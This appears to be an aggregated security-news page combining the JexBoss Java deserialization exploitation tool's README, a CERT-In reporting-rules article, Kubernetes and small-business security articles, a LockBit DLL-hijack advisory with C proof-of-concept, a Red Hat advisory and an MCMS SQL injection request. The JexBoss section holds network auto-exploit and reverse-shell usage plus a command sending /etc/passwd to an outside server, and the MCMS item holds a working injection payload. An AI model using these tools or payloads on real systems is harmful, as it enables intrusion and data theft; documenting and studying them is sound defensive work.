The Java Remote Management Interface of all versions of Orlansoft ERP was discovered to contain a vulnerability due to insecure deserialization of user-supplied content, which can allow attackers to execute arbitrary code via a crafted serialized Java object.

**JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool**

JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc.

**Requirements**

*   Python >= 2.7.x
*   urllib3
*   ipaddress

**Installation on Linux\\Mac**

To install the latest version of JexBoss, please use the following commands:

    git clone https://github.com/joaomatosf/jexboss.git
    cd jexboss
    pip install -r requires.txt
    python jexboss.py -h
    python jexboss.py -host http://target_host:8080
    
    OR:
    
    Download the latest version at: https://github.com/joaomatosf/jexboss/archive/master.zip
    unzip master.zip
    cd jexboss-master
    pip install -r requires.txt
    python jexboss.py -h
    python jexboss.py -host http://target_host:8080
    

If you are using CentOS with Python 2.6, please install Python2.7. Installation example of the Python 2.7 on CentOS using Collections Software scl:

    yum -y install centos-release-scl
    yum -y install python27
    scl enable python27 bash
    

**Installation on Windows**

If you are using Windows, you can use the Git Bash to run the JexBoss. Follow the steps below:

*   Download and install Python
*   Download and install Git for Windows
*   After installing, run the Git for Windows and type the following commands:

        PATH=$PATH:C:\Python27\
        PATH=$PATH:C:\Python27\Scripts
        git clone https://github.com/joaomatosf/jexboss.git
        cd jexboss
        pip install -r requires.txt
        python jexboss.py -h
        python jexboss.py -host http://target_host:8080
        
    

**Features**

The tool and exploits were developed and tested for:

*   JBoss Application Server versions: 3, 4, 5 and 6.
*   Java Deserialization Vulnerabilities in multiple java frameworks, platforms and applications (e.g., Java Server Faces - JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735), etc)

The exploitation vectors are:

*   /admin-console
    *   tested and working in JBoss versions 5 and 6
*   /jmx-console
    *   tested and working in JBoss versions 4, 5 and 6
*   /web-console/Invoker
    *   tested and working in JBoss versions 4, 5 and 6
*   /invoker/JMXInvokerServlet
    *   tested and working in JBoss versions 4, 5 and 6
*   Application Deserialization
    *   tested and working against multiple java applications, platforms, etc, via HTTP POST Parameters
*   Servlet Deserialization
    *   tested and working against multiple java applications, platforms, etc, via servlets that process serialized objets (e.g. when you see an "Invoker" in a link)
*   Apache Struts2 CVE-2017-5638
    *   tested in Apache Struts 2 applications
*   Others

**Videos**

*   Exploiting Java Deserialization Vulnerabilities (RCE) on JSF/Seam Applications via javax.faces.ViewState with JexBoss

*   Exploiting JBoss Application Server with JexBoss

*   Exploiting Apache Struts2 (RCE) with Jexboss (CVE-2017-5638)

**Screenshots**

*   Simple usage examples:

*   Example of standalone mode against JBoss:

    $ python jexboss.py -u http://192.168.0.26:8080
    

 

*   Usage modes:

*   Network scan mode:

    $ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt
    

*   Network scan with auto-exploit mode:

    $ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt
    

*   Results and recommendations:

**Reverse Shell (meterpreter integration)**

After you exploit a JBoss server, you can use the own jexboss command shell or perform a reverse connection using the following command:

       jexremote=YOUR_IP:YOUR_PORT
    
       Example:
         Shell>jexremote=192.168.0.10:4444
    

*   Example: 

When exploiting java deserialization vulnerabilities (Application Deserialization, Servlet Deserialization), the default options are: make a reverse shell connection or send a commando to execute.

**Usage examples**

*   For Java Deserialization Vulnerabilities in a custom HTTP parameter and to send a custom command to be executed on the exploited server:

    $ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'
    

*   For Java Deserialization Vulnerabilities in a custom HTTP parameter and to make a reverse shell (this will ask for an IP address and port of your remote host):

    $ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name
    

*   For Java Deserialization Vulnerabilities in a Servlet (like Invoker):

    $ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize
    

*   For Apache Struts 2 (CVE-2017-5638)

    $ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
    

*   For Apache Struts 2 (CVE-2017-5638) with cookies for authenticated resources

    $ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"
    

*   Auto scan mode:

    $ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
    

*   File scan mode:

    $ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log
    

*   More Options:

    optional arguments:
      -h, --help            show this help message and exit
      --version             show program's version number and exit
      --auto-exploit, -A    Send exploit code automatically (USE ONLY IF YOU HAVE
                            PERMISSION!!!)
      --disable-check-updates, -D
                            Disable two updates checks: 1) Check for updates
                            performed by the webshell in exploited server at
                            http://webshell.jexboss.net/jsp_version.txt and 2)
                            check for updates performed by the jexboss client at
                            http://joaomatosf.com/rnp/releases.txt
      -mode {standalone,auto-scan,file-scan}
                            Operation mode (DEFAULT: standalone)
      --app-unserialize, -j
                            Check for java unserialization vulnerabilities in HTTP
                            parameters (eg. javax.faces.ViewState, oldFormData,
                            etc)
      --servlet-unserialize, -l
                            Check for java unserialization vulnerabilities in
                            Servlets (like Invoker interfaces)
      --jboss               Check only for JBOSS vectors.
      --jenkins             Check only for Jenkins CLI vector.
      --jmxtomcat           Check JMX JmxRemoteLifecycleListener in Tomcat
                            (CVE-2016-8735 and CVE-2016-8735). OBS: Will not be
                            checked by default.
      --proxy PROXY, -P PROXY
                            Use a http proxy to connect to the target URL (eg. -P
                            http://192.168.0.1:3128)
      --proxy-cred LOGIN:PASS, -L LOGIN:PASS
                            Proxy authentication credentials (eg -L name:password)
      --jboss-login LOGIN:PASS, -J LOGIN:PASS
                            JBoss login and password for exploit admin-console in
                            JBoss 5 and JBoss 6 (default: admin:admin)
      --timeout TIMEOUT     Seconds to wait before timeout connection (default 3)
    
    Standalone mode:
      -host HOST, -u HOST   Host address to be checked (eg. -u
                            http://192.168.0.10:8080)
    
    Advanced Options (USE WHEN EXPLOITING JAVA UNSERIALIZE IN APP LAYER):
      --reverse-host RHOST:RPORT, -r RHOST:RPORT
                            Remote host address and port for reverse shell when
                            exploiting Java Deserialization Vulnerabilities in
                            application layer (for now, working only against *nix
                            systems)(eg. 192.168.0.10:1331)
      --cmd CMD, -x CMD     Send specific command to run on target (eg. curl -d
                            @/etc/passwd http://your_server)
      --windows, -w         Specifies that the commands are for rWINDOWS System$
                            (cmd.exe)
      --post-parameter PARAMETER, -H PARAMETER
                            Specify the parameter to find and inject serialized
                            objects into it. (egs. -H javax.faces.ViewState or -H
                            oldFormData (<- Hi PayPal =X) or others) (DEFAULT:
                            javax.faces.ViewState)
      --show-payload, -t    Print the generated payload.
      --gadget {commons-collections3.1,commons-collections4.0,groovy1}
                            Specify the type of Gadget to generate the payload
                            automatically. (DEFAULT: commons-collections3.1 or
                            groovy1 for JenKins)
      --load-gadget FILENAME
                            Provide your own gadget from file (a java serialized
                            object in RAW mode)
      --force, -F           Force send java serialized gadgets to URL informed in
                            -u parameter. This will send the payload in multiple
                            formats (eg. RAW, GZIPED and BASE64) and with
                            different Content-Types.
    
    Auto scan mode:
      -network NETWORK      Network to be checked in CIDR format (eg. 10.0.0.0/8)
      -ports PORTS          List of ports separated by commas to be checked for
                            each host (eg. 8080,8443,8888,80,443)
      -results FILENAME     File name to store the auto scan results
    
    File scan mode:
      -file FILENAME_HOSTS  Filename with host list to be scanned (one host per
                            line)
      -out FILENAME_RESULTS
                            File name to store the file scan results
    
    

**Questions, problems, suggestions and etc:**

*   joaomatosf@gmail.com

CVE-2020-23620: GitHub - joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool

CERT-In updates cybersecurity rules to include mandatory reporting, record-keeping, and more.

The Indian Computer Emergency Response Team (CERT-In) issued new cyber incident reporting guidelines, including the requirement for service providers, intermediaries, data centers, corporations, and government agencies to report cyber incidents to the regulator within six hours.

The new government-issued cybersecurity rules will take effect in 60 days.

Incidents requiring immediate CERT-In notification include:

*   Targeted scanning/probing of critical networks/systems
*   Compromise of critical systems/information
*   Unauthorized access of IT systems/data
*   Defacement of website or intrusion into a website and unauthorized changes such as inserting malicious code, links to external websites, etc.
*   Malicious code attacks such as spreading of virus/ worm/ Trojan/ bots/ spyware/ ransomware/ cryptominers
*   Attack on servers such as database, mail, and DNS, and network devices such as routers
*   Identity theft, spoofing, and phishing attacks
*   Denial of service (DoS) and distributed denial of service (DDoS) attacks
*   Attacks on critical infrastructure, SCADA and operational technology systems, and wireless networks
*   Attacks on applications such as e-governance, e-commerce, etc.
*   Data breach
*   Data leak
*   Attacks on Internet of Things (IoT) devices and associated systems, networks, software, and servers
*   Attacks or incident affecting digital payment systems
*   Attacks through malicious mobile apps
*   Fake mobile apps
*   Unauthorized access to social media accounts
*   Attacks or malicious/ suspicious activities affecting cloud computing systems/ servers/ software/ applications
*   Attacks or malicious/suspicious activities affecting systems/ servers/ networks/ software/ applications related to big data, blockchain, virtual assets, virtual asset exchanges, custodian wallets, robotics, 3D and 4D printing, additive manufacturing, and drones
*   Attacks or malicious/ suspicious activities affecting systems/ servers/software/ applications related to artificial intelligence and machine learning

Other new rules require service providers and their intermediaries, data centers, corporations, and government agencies to connect to the Network Time Protocol (NTP) server of the National Informatics Center (NIC) or National Physical Laboratory (NPL) — or with servers that can be traced back to one of those two servers — and synchronize their ICT system clocks with the government's.

These organizations will also need to start keeping logs for the previous 180 days and provide it to CERT-In if an incident occurs, the new guidelines said.

The tightening up of reporting rules is intended to close "certain gaps causing hinderance in incident analysis," the Ministry of Electronics & IT said in its statement announcing the new cybersecurity measures. "These directions shall enhance overall cyber security posture and ensure safe and trusted Internet in the country."

Keep up with the latest cybersecurity threats, newly-discovered vulnerabilities, data breach information, and emerging trends. Delivered daily or weekly right to your email inbox.

Subscribe

New Regulations in India Require Orgs to Report Cyber Incidents Within 6 Hours

Security must be precise enough to meet compliance requirements without impeding DevOps and developer productivity. Here's how to strike that balance.

Businesses are moving fast to modernize application development, but Kubernetes security has taken a back seat in many cases. While that deprioritization is increasingly risky, security strategies to mitigate threats to containerized environments must tread a careful path.

On the one hand, security must be precise enough to meet the rigorous compliance requirements — and stand up to audits — across all regulations a given organization must adhere to, whether that's SOC 2, PCI DSS, GPDR, HIPAA, or others. At the same time, whatever security processes are put into place must still ensure that DevOps and developer productivity isn't impeded. It's a delicate balancing act that doesn't leave much room for error on either side.

To ensure continuous compliance in containerized environments without creating obstacles to productivity, adhere to these six practices.

**1\. Get Automated**  
Implementing the right tools — and there are many great fully open source options — delivers the real-time threat responses and always-on monitoring necessary for achieving continuous compliance. For example, automated vulnerability scanning and security policy as code should be integrated into the pipeline. Logs and events should be processed with an automated Kubernetes audit log analyzer. SIEM technologies powered by machine learning can quickly and automatically identify attack patterns. You should also leverage CIS benchmarks and custom compliance checks to inspect Kubernetes configurations continuously.

**2\. Secure Kubernetes Itself**  
It's become absolutely crucial to treat Kubernetes itself as an attack surface — because attackers certainly are. With the sophistication of threats maturing, continuous compliance now requires that the full stack behind your container environments is actively secured. This includes initiating automatic monitoring, hardening against exploits, performing configuration auditing, and preparing automated mitigation. That's not only true for Kubernetes but also any service meshes, hosting VMs, plugins, or other targets that may come under attack.

**3\. Seeing an Attack Is Preventing an Attack**  
Attack kill chains often begin with the launch of an unrecognized container network connection or process, which escalates its own level of access by writing or changing existing files or exploiting unprotected entry points. Such nefarious methods will then utilize network traffic to send captured data to an external IP address, resulting in a data breach. Kill chains may similarly target the Kubernetes API service for man-in-the-middle attacks, and commonly perform zero-day, insider, and cryptomining attacks. Attacks leveraging the Apache Log4j exploit are also on the rise.

Strategies that incorporate data loss prevention (DLP) and web application firewall (WAF) protection can provide the visibility required to detect active kill chains, as well as automated responses ready to put suspicious processes and traffic to a halt before they do harm. In fact, many regulatory compliance frameworks now specifically require organizations to have DLP and WAF capabilities in place to protect their container and Kubernetes environments, including PCI DSS, SOC 2, and GDPR (HIPAA strongly suggests DLP as well).

**4\. Zero in on Zero Trust**  
By implementing a zero-trust model, you're no longer _reactively_ addressing threats recognized in log analysis or signature-based detections. Instead, a zero-trust strategy ensures you'll be blocking all attacks by allowing only approved processes and traffic to be active in your environments. The full cloud-native stack, along with access controls such as RBACs, must feature these zero-trust safeguards. The result is a more assured approach to achieving continuous compliance.

**5\. Take Advantage of Built-In Kubernetes Security**  
Built-in Kubernetes security features include log auditing, RBACs, and system log collection centralized by the Kubernetes API server. Leverage these available capabilities to collect and analyze all activity logs for evidence of attack or misconfigurations. Follow up by addressing any issues or run-time activities that fall short of compliance by implementing security patches or new policy-based protections.

In most cases, you'll want to go further and support existing Kubernetes security with tooling that enables container application security and continuous compliance auditing. The built-in Kubernetes Admission Controller should be used to closely coordinate Kubernetes with external registries and resource requests. This approach will more effectively prevent vulnerabilities and unauthorized behavior in application deployments.

**6\. Verify the Security of Your Cloud Host**  
Cloud platforms hosting Kubernetes handle their own systems and must ensure their continuous compliance. However, the stakes are too high not to check that those cloud hosting practices are indeed well-secured and that they fulfill your own compliance responsibilities. In fact, the shared responsibility model offered by many cloud providers leaves the burden of securing application access, network behavior, and other assets in the cloud squarely on the customer.

**Continuous Compliance in Real-Time Environments**  
Kubernetes and containerized environments are highly dynamic, with containers spinning in and out of existence far more rapidly than manual security checks can possibly safeguard. In addition, traditional security technologies such as network segmentation and firewalling required by many compliance regulations don't work in container networks.

Modern continuous development processes regularly introduce new code and containers as applications are built, shipped, and run in production environments. As a result, regulations require organizations to adopt automated real-time security and auditing measures that provide true continuous compliance.

6 Best Practices to Ensure Kubernetes Security Meets Compliance Regulations

Get your cyberprotection on the right footing by steering clear of these three cultural pitfalls.
The post Watch out for these 3 small business cybersecurity mistakes appeared first on Malwarebytes Labs.

May 2 marks the start of National Small Business Week, a week that recognizes “the critical contributions of America’s entrepreneurs and small business owners”, and promises to “celebrate the resiliency and tenacity of America’s entrepreneurs.”

That sounds good to us: Small business are a vital economic engine, accounting for more than 99% of all businesses in the USA, and employing about half the US workforce. And, like any engine, they need preventative maintenance and careful running to keep them ticking over smoothly—which increasingly means ensuring they have good cybersecurity discipline.

That sounds like something we can help with, so if you want your small business purring and safe from cyberthreats, watch out for these three warning signs.

**1\. Thinking you are not a target**

Perhaps the most egregious cyber-error a small business can commit is believing it is too small to have to bother with cybersecurity, because it thinks it’s too small to be a target.

Life would be a lot easier if there were a minimum size limit on the businesses that cybercriminals care about, but sadly, there is not. Sure, there are some nation-state actors and big game ransomware gangs that might give you a swerve. But for every attacker trying to land a whale, there’s a countless multitude trying to catch minnows in drift nets.

The threat to small businesses is so serious that in 2021 it was discussed by the Senate Judiciary committee. Ranking member Senate Chuck Grassley described the problem in these terms:

> “Earlier this year, FBI Director Chris Wray compared the challenges of fighting ransomware to those we faced after 9/11. Estimates on the amount of ransoms paid in 2020 run into the hundreds of millions of dollars. Ransomware has targeted schools, local governments, and, during this pandemic, even hospitals and healthcare providers…An estimated three out of every four victims of ransomware is a small business.”
> 
> Senator Chuck Grassley

Believing you can add security later means avoiding the basics now. And that leads to critical mistakes like using old, unsupported versions of Windows and macOS; not updating third-party apps; giving everyone admin access to everything; turning on RDP when you don’t need it (and failing to secure it when you do); leaving unused, unnecessary, and unsafe ports open at the firewall; saving passwords in plain text; not enforcing minimum password complexity standards; not using multi-factor authentication (MFA); and using unpatched, on-premises versions of Exchange.

It is never too soon to do these things—the longer you leave it, the more expensive and difficult they become. Be in no doubt: Cybercriminals _will_ try to use your Exchange server to spread ransomware, they will try to brute force your RDP, they will try to inject skimmers into your website, they will try to exploit your browsers, they will try to fool you into downloading malware, they will try to phish your logins, and they will send you more malicious attachments than you’ve had hot dinners (and your employees will click them).

**2\. Waiting for bad things to happen**

Our second red flag to watch out for is a lack of proactivity in your security.

Last year I interviewed a number of small business IT people. For all of them, security was important, but it was typically one of many responsibilities being handled by a small staff. Most of their time was spent firefighting one IT problem or another, and so, outside of a weekly check, their endpoint protection montioring went largely unattended unless it too was (figuratively) ablaze.

According to Taylor Triggs, one of our Malware Removal Specialists, that seven day gap between checks is big enough for an attacker to drive their coach and horses through.

Ransomware attacks typically start with some kind of network breach. This is often followed by activity that escalates an attacker’s privileges, lateral movement through a network, and finally encryption of the victim’s data. Each step generates behavior or artefacts that can tip off sharp-eyed threat hunters to the presence of an attacker, before the ransomware gets to work.

Right now, Triggs says, the most common problem he’s seeing in small and medium-sized businesses is a combination of unpatched Exchange servers and those unattended alerts:

> “Many of the ransomware cases we have seen recently have started with Exchange servers still vulnerable to Hafnium. Customers with EDR had alerts showing that a Hafnium breach was the initial compromise before encryption occurred but they ignored the alerts.”

“Waiting for things to happen” is often a symptom of not hiring qualified IT staff, having too few IT staff, or not having the appropriate security skills and awareness among IT staff.

**3\. Assuming everything will be OK**

Any breach that goes unnoticed or is left unattended can lead to ransomware, and the target of modern ransomware operators is not a computer, it is your entire organization. That makes ransomware an existential threat. You might not get hit by an earthquake every day, but that doesn’t excuse you from planning for one if you’re at risk, and ransomware is an earthquake that can hit any small business.

Failing to plan is planning to fail, as they say, and the symptoms of failing to plan are:

*   Not having having an incident response plan
*   Not making backups
*   Not testing that your backups work
*   Not keeping backups beyond the reach of attackers

If the worst happens, you will wish you had planned your response in advance. You will wish you knew how to identify and isolate an attack; you will wish you had decided what data and assets you care about most, which you want to restore first, what that will take, and who will do it; and you will probably wish you had rehersed it all. You can read more about how to prepare for a ransomware attack by downloading our Ransomware Emergency Kit.

If you simply assume it won’t happen to you, or that you’ll be OK if it does, you may be left with no option but to pay an extortionate ransom for a criminal’s decryption tool, and you really want to avoid that. The tools frequently fail, and your willingness to pay will lead to repeat attacks.

If you want to know how it feels to be attacked by ransomware without actually having to go through it yourself, listen to our podcast interview with Ski Kacoroski below. Ski is a sysadmin who was brave enough to speak openly about his race against a real-life ransomware attack and his candid interview is a warning against the complacency of assuming everything will work out.

This video cannot be displayed because your _Functional Cookies_ are currently disabled.

To enable them, please visit our _privacy policy_ and search for the Cookies section. Select _“Click Here”_ to open the Privacy Preference Center and select _“Functional Cookies”_ in the menu. You can switch the tab back to _“Active”_ or disable by moving the tab to _“Inactive.”_ Click _“Save Settings.”_

Watch out for these 3 small business cybersecurity mistakes

Ransom.LockBit malware suffers from a dll hijacking vulnerability.

    Discovery / credits: Malvuln - malvuln.com (c) 2022Original source: https://malvuln.com/advisory/96de05212b30ec85d4cf03386c1b84af.txtContact: malvuln13@gmail.comMedia: twitter.com/malvulnThreat: Ransom.LockBitVulnerability: DLL HijackingDescription: LockBit ransomware looks for and executes DLLs in its current directory. This can potentially allow us to execute our own code, control and terminate the malware pre-encryption. The exploit dll will check if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as theres nothing to kill the DLL just lives on disk waiting. All basic tests were conducted successfully in a virtual machine environment.Family: LockBitType: PE32MD5: 96de05212b30ec85d4cf03386c1b84afVuln ID: MVID-2022-0572Disclosure: 05/02/2022Video PoC URL: https://www.youtube.com/watch?v=3i6tv4cpfScExploit/PoC:1) Compile the following C code as "netapi32.dll"2) Place the DLL in same directory as Lockbit ransomware3) Optional - Hide it: attrib +s +h "netapi32.dll"4) Run Lockbit PE file#include "windows.h"#include "stdio.h"//By malvuln - 5/1/2022//Vuln: DLL Hijacking//Target: Lockbit Ransomware//MD5: 96de05212b30ec85d4cf03386c1b84af/** DISCLAIMER:Author is NOT responsible for any damages whatsoever by using this software or improper malwarehandling. By using this code you assume and accept all risk implied or otherwise.**///gcc -c netapi32.c -m32//gcc -shared -o netapi32.dll netapi32.o -m32BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){  switch (reason) {  case DLL_PROCESS_ATTACH:   MessageBox(NULL, "Code Exec", "by malvuln", MB_OK);   TCHAR buf[MAX_PATH];   GetCurrentDirectory(MAX_PATH, TEXT(buf));   //printf("Current directory: %s\n", buf);   //check the path, netapi32.dll is sideloaded by lockbit   int rc = strcmp("C:\\Windows\\System32", TEXT(buf));     if(rc != 0){     HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());     if (NULL != handle) {           TerminateProcess(handle, 0);       CloseHandle(handle);     }   }    break;  }  return TRUE;}Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Ransom.LockBit DLL Hijacking

Red Hat Security Advisory 2022-1664-01 - lxml is an XML processing library providing access to libxml2 and libxslt libraries using the Python ElementTree API.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Moderate: Red Hat Software Collections security update  
Advisory ID:       RHSA-2022:1664-01  
Product:           Red Hat Software Collections  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:1664  
Issue date:        2022-05-02  
CVE Names:         CVE-2021-43818   
=====================================================================

1. Summary:

An update for rh-python38-python, rh-python38-python-lxml, and  
rh-python38-python-pip is now available for Red Hat Software Collections.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Software Collections for Red Hat Enterprise Linux Server (v. 7) - noarch, ppc64le, s390x, x86_64  
Red Hat Software Collections for Red Hat Enterprise Linux Workstation (v. 7) - noarch, x86_64

3. Description:

lxml is an XML processing library providing access to libxml2 and libxslt  
libraries using the Python ElementTree API.

Security Fix(es):

* python-lxml: HTML Cleaner allows crafted and SVG embedded scripts to pass  
through (CVE-2021-43818)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

5. Bugs fixed (https://bugzilla.redhat.com/):

2032569 - CVE-2021-43818 python-lxml: HTML Cleaner allows crafted and SVG embedded scripts to pass through  
2064443 - SCL Python 3.8: pip contains bundled pre-built exe files in site-packages/pip/_vendor/distlib/ [rhscl-3.8.z]  
2068592 - Rebase the python3.8 interpreter to version 3.8.13 [rhscl-3.8.z]

6. Package List:

Red Hat Software Collections for Red Hat Enterprise Linux Server (v. 7):

Source:  
rh-python38-python-3.8.13-1.el7.src.rpm  
rh-python38-python-lxml-4.4.1-8.el7.src.rpm  
rh-python38-python-pip-19.3.1-3.el7.src.rpm

noarch:  
rh-python38-python-pip-19.3.1-3.el7.noarch.rpm  
rh-python38-python-pip-wheel-19.3.1-3.el7.noarch.rpm  
rh-python38-python-rpm-macros-3.8.13-1.el7.noarch.rpm  
rh-python38-python-srpm-macros-3.8.13-1.el7.noarch.rpm

ppc64le:  
rh-python38-python-3.8.13-1.el7.ppc64le.rpm  
rh-python38-python-debug-3.8.13-1.el7.ppc64le.rpm  
rh-python38-python-debuginfo-3.8.13-1.el7.ppc64le.rpm  
rh-python38-python-devel-3.8.13-1.el7.ppc64le.rpm  
rh-python38-python-idle-3.8.13-1.el7.ppc64le.rpm  
rh-python38-python-libs-3.8.13-1.el7.ppc64le.rpm  
rh-python38-python-lxml-4.4.1-8.el7.ppc64le.rpm  
rh-python38-python-lxml-debuginfo-4.4.1-8.el7.ppc64le.rpm  
rh-python38-python-test-3.8.13-1.el7.ppc64le.rpm  
rh-python38-python-tkinter-3.8.13-1.el7.ppc64le.rpm

s390x:  
rh-python38-python-3.8.13-1.el7.s390x.rpm  
rh-python38-python-debug-3.8.13-1.el7.s390x.rpm  
rh-python38-python-debuginfo-3.8.13-1.el7.s390x.rpm  
rh-python38-python-devel-3.8.13-1.el7.s390x.rpm  
rh-python38-python-idle-3.8.13-1.el7.s390x.rpm  
rh-python38-python-libs-3.8.13-1.el7.s390x.rpm  
rh-python38-python-lxml-4.4.1-8.el7.s390x.rpm  
rh-python38-python-lxml-debuginfo-4.4.1-8.el7.s390x.rpm  
rh-python38-python-test-3.8.13-1.el7.s390x.rpm  
rh-python38-python-tkinter-3.8.13-1.el7.s390x.rpm

x86_64:  
rh-python38-python-3.8.13-1.el7.x86_64.rpm  
rh-python38-python-debug-3.8.13-1.el7.x86_64.rpm  
rh-python38-python-debuginfo-3.8.13-1.el7.x86_64.rpm  
rh-python38-python-devel-3.8.13-1.el7.x86_64.rpm  
rh-python38-python-idle-3.8.13-1.el7.x86_64.rpm  
rh-python38-python-libs-3.8.13-1.el7.x86_64.rpm  
rh-python38-python-lxml-4.4.1-8.el7.x86_64.rpm  
rh-python38-python-lxml-debuginfo-4.4.1-8.el7.x86_64.rpm  
rh-python38-python-test-3.8.13-1.el7.x86_64.rpm  
rh-python38-python-tkinter-3.8.13-1.el7.x86_64.rpm

Red Hat Software Collections for Red Hat Enterprise Linux Workstation (v. 7):

Source:  
rh-python38-python-3.8.13-1.el7.src.rpm  
rh-python38-python-lxml-4.4.1-8.el7.src.rpm  
rh-python38-python-pip-19.3.1-3.el7.src.rpm

noarch:  
rh-python38-python-pip-19.3.1-3.el7.noarch.rpm  
rh-python38-python-pip-wheel-19.3.1-3.el7.noarch.rpm  
rh-python38-python-rpm-macros-3.8.13-1.el7.noarch.rpm  
rh-python38-python-srpm-macros-3.8.13-1.el7.noarch.rpm

x86_64:  
rh-python38-python-3.8.13-1.el7.x86_64.rpm  
rh-python38-python-debug-3.8.13-1.el7.x86_64.rpm  
rh-python38-python-debuginfo-3.8.13-1.el7.x86_64.rpm  
rh-python38-python-devel-3.8.13-1.el7.x86_64.rpm  
rh-python38-python-idle-3.8.13-1.el7.x86_64.rpm  
rh-python38-python-libs-3.8.13-1.el7.x86_64.rpm  
rh-python38-python-lxml-4.4.1-8.el7.x86_64.rpm  
rh-python38-python-lxml-debuginfo-4.4.1-8.el7.x86_64.rpm  
rh-python38-python-test-3.8.13-1.el7.x86_64.rpm  
rh-python38-python-tkinter-3.8.13-1.el7.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2021-43818  
https://access.redhat.com/security/updates/classification/#moderate

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYm+vntzjgjWX9erEAQi/gg/8CuTnUa8Ds0aFv3nwfjfiZcq3N8VWxTHB  
kdG/iamBiMPAjPMRPFB7HqetmzbmbzB3Qc/1QYbRvnkYGGUoDzdhxlwjhb9lkgwU  
rfWtpB4A4ryffT+V2va/8GDBnipLGmT9Myg0CcJmQ+gi75zB/+nGgAGCoxpJGCv7  
QDLm+IIKVUpGmDQkny2BSWzA64iQJMz2Kb1gy/igOLHyn4RmJkrt8nqZbLoN1KF7  
KnQG6GxMtfai3PmoHBQUA/CsD49V3Z2kYgT6xmq9l3xzYLkIeMSRvEqPdkwGOROP  
9l+SV7VvD/lqKTgpfAyAw7BzG5T088ZgMB1MjIHDbU8I0uy2A5PvGjfdW1u35okT  
CZnpzTPWLeJqDO4rs4YdU8uJRJjm9gA20Ts9I0S1GIT/oJIW3FxElVr1ya2bQQNc  
OR1ytZvJBfR7QzjkzLIzLUEoyLgRd/gvja59+SYLM3RMxjfcY8OPZk6MbBXvdkwL  
kY3E2k/W4jCXMXI9bb7okNO/RmGrGQ3Zz526NlOsOJZwtJrqyFILPL1V/bDOFGDW  
lL1oQnROilEIZY07RpYDw6j042Tp3I0imv3TX6o192dYYJP1ybDNv9jPmcl77Eqt  
p2r8rtnA0NO8yUwEBUFkoOyI4MBmLmqy7tJCI2r51KvMgyTaaAo087kNnwIbvWG3  
lanRNEaBolA=  
=vlmi  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-1664-01

MCMS v5.2.27 was discovered to contain a SQL injection vulnerability in the orderBy parameter at /dict/list.do.

A suspicious point was found in the IDictDao.xml file in the lib,ms-mdiy-2.1.12  
.net.mingsoft.mdiy.dao.IDictDao.xml#145  

Since the query maps to a method in Java, and this XML corresponds to Content,we looked directly in net.mingsoft.mdiy.action.DictAction and found a call to

net.mingsoft.mdiy.biz.dictBiz#query  

we can know that the suspicious injection point is orderBy, and then try to inject

    
    GET /ms/mdiy/dict/list.do?pageNo=1&pageSize=22&orderBy=1/**/or/**/updatexml(1,concat(0x7e,user(),0x7e),1)/**/or/**/1 HTTP/1.1
    Host: 10.28.246.83:8080
    Content-Length: 0
    Pragma: no-cache
    Accept: application/json, text/plain, */*
    Cache-Control: no-cache
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
    Origin: http://10.28.246.83:8080
    Referer: http://10.28.246.83:8080/ms/mdiy/dict/index.do?
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
